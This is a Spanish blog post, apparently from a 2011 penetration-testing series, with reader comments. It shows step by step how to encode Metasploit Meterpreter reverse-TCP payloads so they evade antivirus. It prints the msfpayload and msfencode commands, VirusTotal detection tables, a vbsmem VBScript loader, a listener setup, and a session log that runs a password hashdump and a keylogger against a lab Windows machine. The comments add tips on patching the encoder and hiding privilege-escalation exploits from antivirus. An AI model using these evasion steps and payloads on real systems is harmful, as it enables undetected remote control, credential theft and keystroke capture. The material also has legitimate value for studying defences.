miércoles, 11 de mayo de 2011

Metasploit & Antivirus (IV): Encoding contra Firmas

En el anterior post nos quedamos con que habíamos conseguido evadir el Antivirus empleando un Payload Java, pero al intentar subir el Payload Nativo (con mucha más funcionalidad) volvía a detectarlo. Para evitar eso, Metasploit tiene una funcionalidad para encodear Payloads que nos va a permitir codificar el Payload, con lo que vamos a evitar la detección por firmas y, como en este caso, algunas detecciones heurísticas.

Veamos qué posibles encodings podemos aplicar:

# cd /opt/metasploit3/msf3/
# ./msfencode -l
[...]
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
[...]

En principio el encoding "shikata_ga_nai" es el más ampliamente usado, así que vamos a hacer un par de pruebas y vamos a crear un fichero msf1.exe que es un Payload de Meterpreter sin encodear y luego vamos a generar otro encodeado con 5 iteraciones de este encoder, y lo vamos a llamar msf2.exe, y a ver que nos dice VirusTotal:

# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.146.132 LPORT=4445 X > msf1.exe

Antivirus Version Last update Result
AhnLab-V3 2011.05.08.00 2011.05.07 Trojan/Win32.Shell
AntiVir 7.11.7.177 2011.05.08 TR/Crypt.EPACK.Gen2
Antiy-AVL 2.0.3.7 2011.05.08 -
Avast 4.8.1351.0 2011.05.08 Win32:SwPatch
Avast5 5.0.677.0 2011.05.08 Win32:SwPatch
AVG 10.0.0.1190 2011.05.08 Win32/Heur
BitDefender 7.2 2011.05.08 Backdoor.Shell.AC
CAT-QuickHeal 11.00 2011.05.08 Trojan.Swrort.A
ClamAV 0.97.0.0 2011.05.07 -
Commtouch 5.3.2.6 2011.05.07 W32/Swrort.A.gen!Eldorado
Comodo 8627 2011.05.08 -
Emsisoft 5.1.0.5 2011.05.08 Trojan.Win32.Swrort!IK
eSafe 7.0.17.0 2011.05.05 -
eTrust-Vet 36.1.8312 2011.05.06 Win32/Swrort.A!generic
F-Prot 4.6.2.117 2011.05.08 W32/Swrort.A.gen!Eldorado
Fortinet 4.2.257.0 2011.05.08 -
GData 22 2011.05.08 Backdoor.Shell.AC
Ikarus T3.1.1.103.0 2011.05.08 Trojan.Win32.Swrort
Jiangmin 13.0.900 2011.05.05 -
K7AntiVirus 9.102.4584 2011.05.06 Riskware
Kaspersky 9.0.0.837 2011.05.08 HEUR:Trojan.Win32.Generic
McAfee 5.400.0.1158 2011.05.08 -
McAfee-GW-Edition 2010.1D 2011.05.07 -
Microsoft 1.6802 2011.05.08 Trojan:Win32/Swrort.A
NOD32 6105 2011.05.08 a variant of Win32/Rozena.AA
Panda 10.0.3.5 2011.05.08 Suspicious file
PCTools 7.0.3.5 2011.05.06 -
Prevx 3.0 2011.05.08 -
Rising 23.56.06.05 2011.05.08 -
Sophos 4.65.0 2011.05.08 Mal/Swrort-C
SUPERAntiSpyware 4.40.0.1006 2011.05.08 Trojan.Backdoor-PoisonIvy
TheHacker 6.7.0.1.191 2011.05.08 -
TrendMicro 9.200.0.1012 2011.05.08 -
TrendMicro-HouseCall 9.200.0.1012 2011.05.08 -
VBA32 3.12.16.0 2011.05.08 -
VIPRE 9223 2011.05.08 Trojan.Win32.Swrort.B (v)
ViRobot 2011.5.7.4450 2011.05.08 -
VirusBuster 13.6.343.0 2011.05.08 Trojan.Rosena.Gen.1


Ya para empezar, hay una cantidad razonable de Antivirus que NI SE ENTERAN de que el binario tiene un Meterpreter, y sorprende particularmente que entre ellos hay varios de los más conocidos. Veamos que pasa ahora si aplicamos un poco de encoding:

# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.146.132 LPORT=4445 R | ./msfencode -e x86/shikata_ga_nai -c 5 -t exe -o msf2.exe

Empleando el encoding la detección baja ligeramente hasta 23/42 (54.8%), pero como vemos poco cambia la situación. Vamos a hacer otra prueba para que veáis una cosa curiosa, vamos encodear un fichero vacio con un encoding "none", osea, sin ningún payload y sin ningún encoding, a ver que detección nos saca:

# echo -n | ./msfencode -e generic/none -t exe -o msf4.exe

Ahora es cuando nos quedamos con la cara de tontos, otra vez 23/41 (56.1%). Esto es debido a que algunos Antivirus ya se han preocupado de detectar de alguna forma los binarios encodeados con el msfencode de Metasploit, independientemente de su contenido.

Así que, en conclusión, podemos tener suerte y encontrar uno de los Antivirus que no detectan los Payloads de Metasploit y no tengamos que hacer nada, o que lo detecten y con un simple encoding consigamos que deje de detectarlo, pero en este caso lo tenemos un poco más complicado, así que vamos a tener que optar por otro tipo de encoding algo menos conocido.

Para ello vamos a irnos a la versión de desarrollo de msfencode, que tiene una funcionalidad nueva (no aparecerá hasta la versión 3.8 de Metasploit de forma estable) que permite generar el Payload dentro de un Script Visual Basic, pero de una forma diferente a como lo hacía anteriormente con VBS, Java, etc. En general, cuando tú generas un Payload Nativo dentro de un War, un VBS o similar, este lo que hace es crear un fichero en el disco y luego lo ejecuta, con lo que el Antivirus acabará detectando este binario, así que para este caso no nos sirve mucho.

Esta nueva opción de "empaquetamiento" llamada "vbsmem" funciona de una forma diferente, y lo que hace es crear una dll en disco (en la documentación habla de que lo hace todo "en memoria" pero yo he mirado el código y juraría que escribe la dll en disco) que tiene toda la funcionalidad, y entonces lo que hace es inyectar esta dll para que se ejecute. Vamos a ver que tal funciona, pero antes tenemos que generar el fichero y luego poner a la escucha el multi/handler para recoger la conexión:

# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.146.132 LPORT=4445 R | msfencode -e x86/shikata_ga_nai -t vbsmem > msf.vbs
# ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=4445 E

Bueno, ahora solo tenemos que subir el fichero desde el Meterpreter Java que tenemos ya del post anterior y ejecutarlo, a ver si conseguimos por fin nuestro deseado Meterpreter Nativo de Windows:

meterpreter > sysinfo
OS : Windows XP 5.1 (x86)
Computer : rootedlab2
Meterpreter : java/java
meterpreter > upload msf.vbs
[*] uploading : msf.vbs -> msf.vbs
[*] uploaded : msf.vbs -> msf.vbs
meterpreter > execute -H -f cmd.exe -a "/c msf.vbs"
Process created.

Y mientras tanto en nuestro multi/handler a la escucha...

[*] Started reverse handler on 0.0.0.0:4445
[*] Starting the payload handler...
[*] Sending stage (749056 bytes) to 172.16.146.146
[*] Meterpreter session 1 opened (172.16.146.132:4445 -> 172.16.146.146:1100) at Sun May 08 18:21:31 +0200 2011
meterpreter > sysinfo
System Language : es_ES
OS : Windows XP (Build 2600, Service Pack 3).
Computer : ROOTEDLAB2
Architecture : x86
Meterpreter : x86/win32

Bingo! Lo tenemos! Y ahora, solo para asegurarnos que nuestro Meterpreter ahora puede hacer lo que queramos sin que el Antivirus nos detecte, vamos a hacer un hashdump y vamos a poner un KeyLogger a ver que pasa...

meterpreter > hashdump
Administrador:500:aad3b435b51404eeaad3b435b51404ee:2983ca1407d376f6358670f623f03a41:::
[...]
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
notepad.exe GAME OVER ANTIVIRUS >(
meterpreter > keyscan_stop
Stopping the keystroke sniffer...


Bueno... parece que ya lo tenemos, ha costado pero al final hemos conseguido meter nuestro Meterpreter Windows en el equipo protegido por el Antivirus sin que este se enterara, y eso que nos hemos cogido uno de los difíciles.

También habríamos podido modificar la rutina de encoding de Metasploit un poquillo para que ya no fuera detectada, pero para eso habría que haber tocado bastante más código y podría haber sido bastante más complicado, pero es la forma en la que, de una forma u otra, acabaríamos por conseguir ejecutar lo que quisiéramos.

Sed buenos :)

18 comentarios :

Metasploiter dijo...

Muy bueno. No conocia esta utilidad en estado beta que nos has mostrado.
Podrias poner un pantallazo o un listado con los antivirus que lo detectan despues de utilizar eso?
Un saludo crack.

Jose Selvi dijo...

Claro! Ahora no tengo aquí el vbs, pero en cuanto pueda lo subo y pongo el enlace como comentario.

Saludos!

manuonda dijo...

Hola muy buen articulo jose .
Cuando algo de client side.
Con metasploit un poco de teoria estaria bueno .
Saludos

Jose Selvi dijo...

@manuonda: Tomo nota para poner un post con algo sobre Client-Side-Attacks.

Leonardo Nve dijo...

Un puto crack, yo tampoco conocía esa funcionalidad..

Jose Selvi dijo...

Gracias @Leo :D

@Metasploiter: Creo que había contestado, pero el problemilla de Blogger ha mandado mi respuesta a tomar viento. Aquí la tienes:

http://www.virustotal.com/file-scan/report.html?id=a4888b6a04c2d933e482d99945a28e24100e2e7822e6195fa4b1c40fe5330262-1305320199

Ningún Antivirus lo ha detectado.
Gracias por los comentarios!
Saludos a los dos!

Anónimo dijo...

Hola! Entre al link que mencionas, y descargue vbsmem-1.2.1.patch como instalo el parche para que pueda usarlo?

Jose Selvi dijo...

@Anónimo: Pues si tu versión de lib/msf/util/exe.rb es la correcta, con usar la herramienta "patch" de Linux debería ser suficiente.

Yo por si acaso, como eran pocos cambios, me lo edité yo a mano.

http://dev.metasploit.com/redmine/attachments/906/vbsmem-1.2.1.patch

Si te fijas, solo hay que editar "lib/msf/util/exe.rb", añadir una función y cambiar un par de lineas.
Luego hay que crear el fichero "data/templates/vbsmem.vbs" con el contenido que te pone en el path y ya está, parcheado.

Newlog dijo...

Genial entrada!

manuonda dijo...

Gracias Jose : Voy a esperar y a leer un poco sobre client-side-attacks para poder comprender de lo que se trata .
Saludos

Jose Selvi dijo...

@Manuonda: En realidad es casi lo mismo, con la diferencia de que en un server-side attack tú conectas a un servicio y mandas el exploit, y en un client-side attack te pones a la escucha y tienes que provocar de alguna forma que las víctimas conecten a ti, y entonces lanzar el exploit.

Anónimo dijo...

hola que tal me gustaria saber si serias tan amable de poner paso a paso como poder hacer uso de ese tipo de encoding siendo que ami como a tantos otros se nos ha complicado mucho para poder utilizarla, ya que no hay documentacion en español de como aplicar el parche ya que no hay mucha info y menos en español yo especialmente utilizo linux y con la herramienta patch no eh podido, si has hecho modificaciones a mano para que funcione estaria muy bien que las comentaras, desde ya muchas gracias y es un excelente blog.

Jose Selvi dijo...

@Anónimo: Creo que voy a escribir un post sobre este tema, porque es algo que me han preguntado ya varias veces por correo electrónico.

A lo largo de la semana escribo el post y os pondré un enlace aquí, por si alguien pasa por este post y no sabe por donde seguir.

Anónimo dijo...

Hola Jose

Excelente entrada. Quisera hacerte una pregunta. A veces cuando ejecute el msf.vbs me salta un error de Windows Script Host Error: Permiso denegado Codgio:800A0046. Me funciono una vez, pero luego por un extraño motivo siempre me sale este error.

Anónimo dijo...

Hi, excuse posting in English. The reason for the "Permission denied Codgio: 800a0046" is because %TEMP%\DynaWrap.dll is not randomly named; the second time you run the payload it will try to overwrite this file, and fail. Should be fixed in the next release.

Also, note that the MSF shellcode is encoded into the VBScript; the reason that the DLL is dropped is to allow native function calls from VBScript (such as VirtualAlloc, VirtualProtect etc).

Jose Selvi dijo...

Thanks for posting! Don't worry, I translate it to Spanish:

Para el que no esté muy puesto en inglés, traduzco el anterior post, y pido perdón por no haber contestado antes algo a este respecto:

"Hola, perdón por escribir en inglés. El motivo para el 'Permiso denegado Codgio:800A0046' es porque %TEMP%\DynaWrap.dll no usa un nombre aleatorio; la segunda vez que ejecutes el payload intentará sobreescribir este fichero y fallara. Debería estar solucionado para la siguiente release.

Del mismo modo, date cuenta que el shellcode de Metasploit está codificado debtro del VBScruot; el motivo de que se use la DLL es para permitir la llamada a funciones nativas desde VBScript (como VirtualAlloc, VirtualProtect etc)."

Rodrigo dijo...

Se puede encodear un exploit de metasploit?

Jose Selvi dijo...

@Rodrigo: El problema es que MSF espera un shellcode, no un binario en si mismo, así que si intentas encodear un exploit entero... no te va a funcionar, a no ser que los chicos de Rapid7 hayan incorporado algo que yo desconozca.

Imagino que lo dices para poder subir un exploit de elevación de privilegios a un equipo y ejecutarlo sin que lo detecten los AVs ¿No? Depende de como sea el exploit, puedes intentar migrarlo a shellcode para utilizar los encoders de MSF, o usar un crypter externo, o usar algún otro truco, pero no sé si lo podrás hacer de forma tan simple como pasarle el binario a MSF y que te lo haga todo.